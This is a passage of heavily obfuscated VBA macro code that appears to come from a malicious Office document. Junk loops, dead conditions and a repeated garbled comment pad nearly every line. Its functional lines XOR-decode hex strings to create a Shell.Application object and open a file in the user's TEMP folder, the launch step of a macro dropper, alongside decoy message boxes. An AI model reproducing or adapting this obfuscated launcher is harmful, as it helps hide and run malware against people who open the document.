'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim GxnQAPAc As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For GxnQAPAc = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next GxnQAPAc
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim lVrxNfJx As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For lVrxNfJx = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next lVrxNfJx
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("wZlHvwrz59")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("mGILexpg8336") = Len("YfOhrqeS") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim WGrmqLsz As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim YwtllDbf As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For YwtllDbf = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next YwtllDbf
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
WGrmqLsz = 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While WGrmqLsz < 93
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim CbUhPjir As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For CbUhPjir = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next CbUhPjir
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: WGrmqLsz = WGrmqLsz + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim lVzFlyTs As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For lVzFlyTs = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next lVzFlyTs
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim IqCemjVo As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For IqCemjVo = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next IqCemjVo
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim pyTskYTz As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ZMLlgoKq As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For ZMLlgoKq = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next ZMLlgoKq
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
pyTskYTz = 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While pyTskYTz < 36
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim IdFSWqrU As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For IdFSWqrU = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next IdFSWqrU
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: pyTskYTz = pyTskYTz + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim rQuhhQlq As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For rQuhhQlq = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next rQuhhQlq
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim cbouzMFo As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For cbouzMFo = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next cbouzMFo
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Set GBIviviu67FUGBK = CreateObject(XORI(Hextostring("1A0337063974081B22063C39281F3B053B"), Hextostring("496B526A555A")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
GBIviviu67FUGBK.Open Environ(XORI(Hextostring("35292B28"), Hextostring("616C667875"))) & XORI(Hextostring("310F1328182D27340F1C31074D171529"), Hextostring("6D4C447A4B6372"))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 843242 = 843242 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 8291 < 26 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim rgYIYBGU As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim UlpsgnCI As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For UlpsgnCI = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next UlpsgnCI
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
rgYIYBGU = 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While rgYIYBGU < 83
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim bhXgjHQl As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For bhXgjHQl = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next bhXgjHQl
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: rgYIYBGU = rgYIYBGU + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim WGfXbaMk As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For WGfXbaMk = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next WGfXbaMk
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim gZkROGZb As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For gZkROGZb = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next gZkROGZb
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox (XORI(Hextostring("2F10112B222F2B255E5A"), Hextostring("414A68634648")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len(XORI(Hextostring("1A2A040F2A113F1E7E474F7F"), Hextostring("757A48"))) = Len(XORI(Hextostring("05013B123E223517"), Hextostring("646D6D6B70"))) Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim NHdqSqjl As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim QVBBRVlW As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For QVBBRVlW = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next QVBBRVlW
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
NHdqSqjl = 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While NHdqSqjl < 41
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim loNyYxqH As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For loNyYxqH = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next loNyYxqH
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: NHdqSqjl = NHdqSqjl + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ndplcqeU As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For ndplcqeU = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next ndplcqeU
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim LaqppmcT As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For LaqppmcT = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next LaqppmcT
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox (XORI(Hextostring("1110343D2048754367"), Hextostring("546246525268")))
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim AZClcOoy As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ilOjdGwp As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For ilOjdGwp = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next ilOjdGwp
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
AZClcOoy = 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While AZClcOoy < 98
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim aqKOOiwa As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For aqKOOiwa = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next aqKOOiwa
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: AZClcOoy = AZClcOoy + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim sWPdEECi As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For sWPdEECi = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next sWPdEECi
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim kfTTpTiR As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For kfTTpTiR = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next kfTTpTiR
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    Set RNNVUWVLESY = Nothing
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 813875 = 813875 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 8543 < 81 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim lARGpllG As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim eCNqowmF As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For eCNqowmF = 0 To 5
